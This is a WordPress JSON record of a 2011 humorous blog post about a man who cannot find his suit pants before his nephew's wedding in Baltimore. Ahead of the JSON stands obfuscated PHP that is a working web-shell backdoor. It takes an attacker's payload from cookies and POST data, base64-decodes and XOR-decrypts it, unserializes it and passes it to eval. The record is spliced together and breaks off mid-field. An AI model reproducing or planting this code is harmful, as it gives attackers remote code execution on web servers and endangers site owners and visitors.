$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1508,"date":"2011-09-05T20:40:46","date_gmt":"2011-09-06T00:40:46","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1508"},"modified":"2011-09-05T20:40:46","modified_gmt":"2011-09-06T00:40:46","slug":"wedding-wardrobe-woes-part-2-electric-boogaloo","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1508","title":{"rendered":"Wedding Wardrobe Woes, Part 2: Electric Boogaloo"},"content":{"rendered":"

I knew we would have fun.\u00a0 As we prepared to go to my nephew\u2019s wedding in Baltimore, that notion existed without any doubt in my mind.<\/p>\n

I just wondered if I would go through the entire day without a problem. As it turns out, I didn\u2019t even make it out of the house before that happened.<\/p>\n

Our family last had a wedding six years ago. As Maria and I prepared to go to that ceremony, I realized I brought two different shoes<\/a>. Luckily, I had one for each foot, but they were each from a different pair of black shoes.<\/p>\n

Since we were in New Jersey, I had no chance to rectify the mistake and spent the whole day hoping no one noticed. I made it through unscathed, mainly because our weddings are so fun, no one really cares what shoes people are wearing.<\/p>\n

With this ceremony in Baltimore, I figured I had a home-field advantage. We would get dressed at the house before heading down to spend the night so I had nothing to worry about. Or did I?<\/p>\n

All week I kept making a mental note to try on my suit. I had last worn it earlier in the spring when I performed at the Hanover Little Theatre, but I just wanted to make sure everything fit well.<\/p>\n

But like most of the mental notes I give myself, it disappeared into thin air somewhere between the thought on my ride home and my actual arrival in Hanover.<\/p>\n

Still, I figured I had no worries when I opened my closet that Saturday morning to get ready for the big day. I should know by now to never figure that everything will go according to plan.<\/p>\n

The jacket fit fine. The pants? That\u2019s a hard question to answer because I could not find the pants.<\/p>\n

At first, I thought that they had fallen off the hanger or were mistakenly put in a different closet or something. After checking every possible place about eight times, I came to the conclusion that I somehow lost the pants to the one suit I could possibly wear to the wedding.<\/p>\n

I know I should have a second suit, but, since I wear the one I have so infrequently, I just haven\u2019t pulled the trigger on another one. I don\u2019t need a suit for work and don\u2019t attend that many funerals, weddings or fancy parties.<\/p>\n

So I had to scramble with about 30 minutes before we had to leave. After banging my head on the wall \u2013 literally, I really needed to punish myself a little \u2013 I remembered that people had, in the past, commented on how a pair of pants perfectly matched a suit coat I had.<\/p>\n

Luckily, they all fit, and I made it through the entire day without any problem. Despite the hurricane outside, we celebrated another wonderful event. When I got home, I tried to track down my suit pants and made a note to plan better when my niece gets married next year.<\/p>\n

As if I needed a reminder, the button of the pants I wore to the wedding popped off as I unpacked my luggage when we returned Sunday. Good thing I didn\u2019t dance too much at the reception.<\/p>\n","protected":false},"excerpt":{"rendered":"